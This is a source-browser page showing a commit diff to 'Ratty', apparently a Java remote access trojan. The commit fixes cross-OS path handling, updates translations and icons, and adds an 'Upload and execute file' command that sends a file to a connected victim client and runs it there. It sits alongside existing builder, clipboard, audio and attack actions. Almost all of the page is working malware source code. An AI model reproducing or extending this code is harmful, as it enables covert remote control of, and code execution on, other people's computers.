Browse Source

Major changes

Hopefully fixed a cross-OS bug
Increased the ping sound quality
Changed some icons
Added new action - Upload and execute
master
Sogomn 9 years ago
parent
commit
c4f4c5733f
  1. BIN
      Ratty/res/gui_file_icons.png
  2. BIN
      Ratty/res/gui_menu_icons.png
  3. BIN
      Ratty/res/gui_notification_icons.png
  4. BIN
      Ratty/res/gui_tree_icons.png
  5. 7
      Ratty/res/language/lang.properties
  6. 7
      Ratty/res/language/lang_de.properties
  7. 7
      Ratty/res/language/lang_en.properties
  8. 4
      Ratty/res/language/lang_es.properties
  9. 4
      Ratty/res/language/lang_nl.properties
  10. 4
      Ratty/res/language/lang_ru.properties
  11. 4
      Ratty/res/language/lang_tr.properties
  12. 4
      Ratty/res/language/lang_uk.properties
  13. BIN
      Ratty/res/ping.wav
  14. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  15. 6
      Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java
  16. 3
      Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java
  17. 27
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  18. 4
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  19. 5
      Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java
  20. 13
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  21. 33
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/gui_file_icons.png

Before

Width: 64  |  Height: 48  |  Size: 786 B

After

Width: 64  |  Height: 48  |  Size: 787 B

BIN
Ratty/res/gui_menu_icons.png

Before

Width: 64  |  Height: 48  |  Size: 751 B

After

Width: 64  |  Height: 48  |  Size: 816 B

BIN
Ratty/res/gui_notification_icons.png

Before

Width: 32  |  Height: 32  |  Size: 402 B

After

Width: 32  |  Height: 32  |  Size: 391 B

BIN
Ratty/res/gui_tree_icons.png

Before

Width: 48  |  Height: 32  |  Size: 522 B

After

Width: 48  |  Height: 32  |  Size: 518 B

7
Ratty/res/language/lang.properties

@ -6,8 +6,10 @@ server.port_question=Which port should the server be bind to?
server.port_error=Invalid port.
server.free_warning=The client won't be available until the device restarts.\r\n\
Continue?
server.free_yes=Yes
server.free_no=Cancel
server.yes=Yes
server.no=Cancel
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
@ -31,6 +33,7 @@ action.upload=Upload file here
action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
column.name=Name
column.location=Location

7
Ratty/res/language/lang_de.properties

@ -6,8 +6,10 @@ server.port_question=An welchen Port soll der Server gebunden werden?
server.port_error=Ungültiger Port.
server.free_warning=Der Client wird bis zum Neustart des Gerätes nicht erreichbar sein.\r\n\
Fortfahren?
server.free_yes=Ja
server.free_no=Abbrechen
server.yes=Ja
server.no=Abbrechen
server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\
Fortfahren?
builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
builder.port_question=Welcher Port?
@ -31,6 +33,7 @@ action.upload=Datei hier hochladen
action.execute=Datei ausführen
action.delete=Datei löschen
action.new_directory=Neuen Ordner erstellen
action.upload_execute=Datei hochladen und ausführen
column.name=Name
column.location=Ort

7
Ratty/res/language/lang_en.properties

@ -6,8 +6,10 @@ server.port_question=Which port should the server be bind to?
server.port_error=Invalid port.
server.free_warning=The client won't be available until the device restarts.\r\n\
Continue?
server.free_yes=Yes
server.free_no=Cancel
server.yes=Yes
server.no=Cancel
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
@ -31,6 +33,7 @@ action.upload=Upload file here
action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
column.name=Name
column.location=Location

4
Ratty/res/language/lang_es.properties

@ -6,8 +6,8 @@ server.port_question=
server.port_error=Puerto invalido.
server.free_warning=¿El cliente no sera habilitado de nuevo hasta un reinicio.\r\n\
Continuas?
server.free_yes=Si
server.free_no=Cancelar
server.yes=Si
server.no=Cancelar
builder.address_question=¿A que puerto quieres que se conecte el cliente?
builder.port_question=¿Que puerto?

4
Ratty/res/language/lang_nl.properties

@ -6,8 +6,8 @@ server.port_question=Welke poort zou de server zich aan moeten binden?
server.port_error=Invaliede poort
server.free_warning=De client zal pas bruikbaar zijn na het toestel herstart.\r\n\
Doorgaan?
server.free_yes=Ja
server.free_no=Aborteer
server.yes=Ja
server.no=Aborteer
builder.address_question=Welk adres zou de client aan moete verbinden?
builder.port_question=Welke poort?

4
Ratty/res/language/lang_ru.properties

@ -6,8 +6,8 @@ server.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442 \u0
server.port_error=\u041D\u0435\u0434\u0456\u0439\u0441\u043D\u0438\u0439 \u043F\u043E\u0440\u0442.
server.free_warning=\u041A\u043B\u0438\u0435\u043D\u0442 \u043D\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043E\u0441\u0442\u0443\u043F\u0435\u043D \u0434\u043E \u043F\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0438 \u0443\u0441\u0442\u0440\u043E\u0439\u0441\u0442\u0432\u0430.\r\n\
\u041F\u0440\u043E\u0434\u043E\u043B\u0436\u0430\u0442\u044C?
server.free_yes=\u0414\u0430
server.free_no=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C
server.yes=\u0414\u0430
server.no=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C
builder.address_question=\u0414\u043E \u041A\u0430\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043E\u043B\u0436\u0435\u043D \u043A\u043B\u0438\u0435\u043D\u0442 \u043F\u043E\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u044C\u0441\u044F?
builder.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442?

4
Ratty/res/language/lang_tr.properties

@ -5,8 +5,8 @@ debug.client=Client
server.port_question=Server hangi porta ba\u011Flansin?
server.port_error=Geçersiz port.
server.free_warning=Cihaz tekrar ba\u015Flatmadan bilgisayarlar ba\u011Flanmas, devam?
server.free_yes=Evet
server.free_no=Iptal
server.yes=Evet
server.no=Iptal
builder.address_question=Client hangi adres'e ba\u011Flansin?
builder.port_question=Hangi port?

4
Ratty/res/language/lang_uk.properties

@ -6,8 +6,8 @@ server.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442 \u043F\u0
server.port_error=\u041D\u0435\u0434\u0456\u0439\u0441\u043D\u0438\u0439 \u043F\u043E\u0440\u0442.
server.free_warning= \u041A\u043B\u0456\u0454\u043D\u0442 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0438\u0439 \u0434\u043E \u043F\u0435\u0440\u0435\u0437\u0430\u043F\u0443\u0441\u043A\u0443 \u043F\u0440\u0438\u0441\u0442\u0440\u043E\u0439\u0441\u0442\u0432\u0430.\r\n\
\u041F\u0440\u043E\u0434\u043E\u0432\u0436\u0438\u0442\u0438?
server.free_yes=\u0422\u0430\u043A
server.free_no=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438
server.yes=\u0422\u0430\u043A
server.no=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438
builder.address_question=\u0414\u043E \u044F\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0443 \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043A\u043B\u0456\u0454\u043D\u0442 \u043F\u0456\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u0438\u0441\u044F?
builder.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442?

BIN
Ratty/res/ping.wav

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.11";
public static final String VERSION = "1.12";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;

6
Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java

@ -9,6 +9,8 @@ public final class CreateDirectoryPacket implements IPacket {
private String path, name;
private static final String FILE_SEPARATOR = "/";
public CreateDirectoryPacket(final String path, final String name) {
this.path = path;
this.name = name;
@ -37,12 +39,12 @@ public final class CreateDirectoryPacket implements IPacket {
String fullPath = null;
if (folder.isDirectory()) {
fullPath = path + File.separator + name;
fullPath = path + FILE_SEPARATOR + name;
} else {
final File parent = folder.getParentFile();
if (parent != null) {
fullPath = parent.getAbsolutePath() + File.separator + name;
fullPath = parent.getAbsolutePath() + FILE_SEPARATOR + name;
}
}

3
Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java

@ -14,6 +14,7 @@ public class FileRequestPacket extends AbstractPingPongPacket {
private static final byte INCOMING = 1;
private static final byte END = 0;
private static final String FILE_SEPARATOR = "/";
public FileRequestPacket(final String rootFile) {
this.rootFile = rootFile;
@ -66,7 +67,7 @@ public class FileRequestPacket extends AbstractPingPongPacket {
protected void executeRequest(final ActiveConnection connection) {
final File[] children;
if (rootFile.isEmpty() || rootFile.equals(File.separator)) {
if (rootFile.isEmpty() || rootFile.equals(FILE_SEPARATOR)) {
children = File.listRoots();
} else {
final File file = new File(rootFile);

27
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -9,10 +9,13 @@ import de.sogomn.rat.util.QuickLZ;
public final class UploadFilePacket implements IPacket {
private byte[] data;
private String folderPath, fileName;
private String directoryPath, fileName;
private static final String USER_DIR = "user.dir";
private static final String FILE_SEPARATOR = "/";
public UploadFilePacket(final String filePath, final String folderPath) {
this.folderPath = folderPath;
this.directoryPath = folderPath;
final File file = new File(filePath);
@ -25,7 +28,7 @@ public final class UploadFilePacket implements IPacket {
}
public UploadFilePacket() {
folderPath = fileName = "";
directoryPath = fileName = "";
}
@Override
@ -34,7 +37,7 @@ public final class UploadFilePacket implements IPacket {
connection.writeInt(compressed.length);
connection.write(compressed);
connection.writeUTF(folderPath);
connection.writeUTF(directoryPath);
connection.writeUTF(fileName);
}
@ -46,23 +49,27 @@ public final class UploadFilePacket implements IPacket {
connection.read(data);
data = QuickLZ.decompress(data);
folderPath = connection.readUTF();
directoryPath = connection.readUTF();
fileName = connection.readUTF();
if (directoryPath.isEmpty()) {
directoryPath = System.getProperty(USER_DIR);
}
}
@Override
public void execute(final ActiveConnection connection) {
final File folder = new File(folderPath);
final File directory = new File(directoryPath);
String path = null;
if (folder.isDirectory()) {
path = folderPath + File.separator + fileName;
if (directory.isDirectory()) {
path = directoryPath + FILE_SEPARATOR + fileName;
} else {
final File parent = folder.getParentFile();
final File parent = directory.getParentFile();
if (parent != null) {
path = parent.getAbsolutePath() + File.separator + fileName;
path = parent.getAbsolutePath() + FILE_SEPARATOR + fileName;
}
}

4
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -7,7 +7,6 @@ import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import javax.swing.Icon;
import javax.swing.ImageIcon;
@ -37,6 +36,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private FileTreeNode lastNodeClicked;
private static final String ROOT_NAME = "";
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
private static final Dimension DEFAULT_SIZE = new Dimension(500, 500);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_tree_icons.png"), 2), 16 * 2, 16 * 2).getSprites();
@ -140,7 +140,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
}
public void addNodeStructure(final String path) {
final String[] parts = path.split("\\" + File.separator);
final String[] parts = path.split(SEPARATOR_REGEX);
if (parts.length == 0) {
final String[] part = {path};

5
Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java

@ -1,6 +1,5 @@
package de.sogomn.rat.server.gui;
import java.io.File;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Enumeration;
@ -15,6 +14,8 @@ public final class FileTreeNode implements MutableTreeNode {
private String name;
private static final String FILE_SEPARATOR = "/";
public FileTreeNode(final String name) {
this.name = name;
@ -144,7 +145,7 @@ public final class FileTreeNode implements MutableTreeNode {
while (current != null) {
final String name = current.getName();
builder.insert(0, name + File.separator);
builder.insert(0, name + FILE_SEPARATOR);
current = current.getParent();
}

13
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -50,6 +50,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private ServerClient lastServerClientClicked;
private static final Dimension SIZE = new Dimension(1150, 600);
private static final String TITLE = "Ratty";
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64);
@ -68,6 +69,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
public static final String CLIPBOARD = LANGUAGE.getString("action.clipboard");
public static final String WEBSITE = LANGUAGE.getString("action.website");
public static final String AUDIO = LANGUAGE.getString("action.audio");
public static final String UPLOAD_EXECUTE = LANGUAGE.getString("action.upload_execute");
public static final String FREE = LANGUAGE.getString("action.free");
public static final String BUILD = LANGUAGE.getString("action.build");
public static final String ATTACK = LANGUAGE.getString("action.attack");
@ -82,11 +84,12 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
CLIPBOARD,
AUDIO,
WEBSITE,
UPLOAD_EXECUTE,
FREE
};
public RattyGui() {
frame = new JFrame();
frame = new JFrame(TITLE);
table = new JTable();
tableModel = new ServerClientTableModel();
scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
@ -171,10 +174,14 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
tableModel.removeServerClient(client);
}
public int showWarning(final String message, final String... options) {
public boolean showWarning(final String message, final String... options) {
final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, null, options, null);
return input;
if (input == JOptionPane.YES_OPTION) {
return true;
}
return false;
}
public void showError(final String message) {

33
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -8,8 +8,6 @@ import java.io.IOException;
import java.util.HashMap;
import java.util.Set;
import javax.swing.JOptionPane;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder;
@ -54,11 +52,12 @@ public final class RattyGuiController extends AbstractRattyController implements
};
private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning");
private static final String FREE_OPTION_YES = LANGUAGE.getString("server.free_yes");
private static final String FREE_OPTION_NO = LANGUAGE.getString("server.free_no");
private static final String OPTION_YES = LANGUAGE.getString("server.yes");
private static final String OPTION_NO = LANGUAGE.getString("server.no");
private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error");
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning");
private static final Sound PING = Sound.loadSound("/ping.wav");
@ -171,9 +170,9 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private FreePacket createFreePacket() {
final int input = gui.showWarning(FREE_WARNING, FREE_OPTION_YES, FREE_OPTION_NO);
final boolean accepted = gui.showWarning(FREE_WARNING, OPTION_YES, OPTION_NO);
if (input == JOptionPane.YES_OPTION) {
if (accepted) {
final FreePacket packet = new FreePacket();
return packet;
@ -247,6 +246,26 @@ public final class RattyGuiController extends AbstractRattyController implements
//...
}
private void uploadExecute(final ServerClient client) {
final boolean accepted = gui.showWarning(UPLOAD_EXECUTE_WARNING, OPTION_YES, OPTION_NO);
if (!accepted) {
return;
}
final File file = gui.getFile();
if (file == null) {
return;
}
final UploadFilePacket upload = new UploadFilePacket(file, "");
final ExecuteFilePacket execute = new ExecuteFilePacket(file.getName());
client.connection.addPacket(upload);
client.connection.addPacket(execute);
}
private void handleCommand(final ServerClient client, final String command) {
if (command == RattyGui.FILES) {
client.fileTree.setVisible(true);
@ -262,6 +281,8 @@ public final class RattyGuiController extends AbstractRattyController implements
startBuilder();
} else if (command == FileTree.REQUEST) {
requestFile(client);
} else if (command == RattyGui.UPLOAD_EXECUTE) {
uploadExecute(client);
}
}

Loading…
Cancel
Save